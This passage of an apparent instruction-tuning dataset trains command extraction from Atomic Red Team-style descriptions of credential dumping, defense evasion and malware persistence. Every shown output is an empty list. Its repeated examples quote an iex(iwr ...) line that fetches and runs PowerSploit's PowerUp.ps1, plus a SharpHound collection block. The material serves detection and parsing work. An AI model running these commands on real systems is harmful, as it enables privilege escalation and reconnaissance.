    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Dump credentials from memory using Gsecdump.\n\nUpon successful execution, you should see domain\\username's followed by two 32 character hashes.\n\nIf you see output that says \"compat: error: failed to create child process\", execution was likely blocked by Anti-Virus. \nYou will receive only error output if you do not run this test from an elevated context (run as administrator)\n\nIf you see a message saying \"The system cannot find the path specified\", try using the get-prereq_commands to download and install Gsecdump first.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). \nUpon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. \nSee https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. \nSee https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following Atomic Test creates a registry blob in HKLM:\\SOFTWARE\\Classes\\.wav\\OpenWithProgIds, which is related to Snake Malware. Per the report, upon execution, Snake's WerFault.exe will attempt to decrypt an encrypted blob within the Windows\nregistry that is typically found at HKLM:\\SOFTWARE\\Classes\\.wav\\OpenWithProgIds. The encrypted data includes the AES key, IV, and path that is used to find and decrypt the file containing Snake's kernel driver and kernel driver loader.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Creates a new admin user in a powershell session without using net.exe\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Loot local Credentials - Decrypt Teamviewer Passwords technique via function of WinPwn",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its permissions, potentially impacting system recovery operations. The specific permissions set by the command are as follows:\n- Deny Generic All (GA) permissions to Network Users (NU)\n- Deny GA permissions to Everyone (WD)\n- Deny GA permissions to Anonymous (AN)\n- Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL)\n- Allow Object Inherit and Inherit Only (OIIO) Full Access (FA) and GA permissions to Everyone (WD) in SACL\nThese permissions can significantly restrict VSS functionalities, including backup and restore operations. As such, it is essential to run this test only in a controlled environment with administrative privileges.\nA cleanup command is provided to reset VSS permissions to a common default configuration, which should be verified against your specific system's configuration. It's crucial to use this cleanup command after testing to ensure the system's backup and recovery capabilities remain functional. Running this test on a production system or critical environment is not recommended without proper precautions and a robust recovery plan.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Uninstall Sysinternals Sysmon for Defense Evasion\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
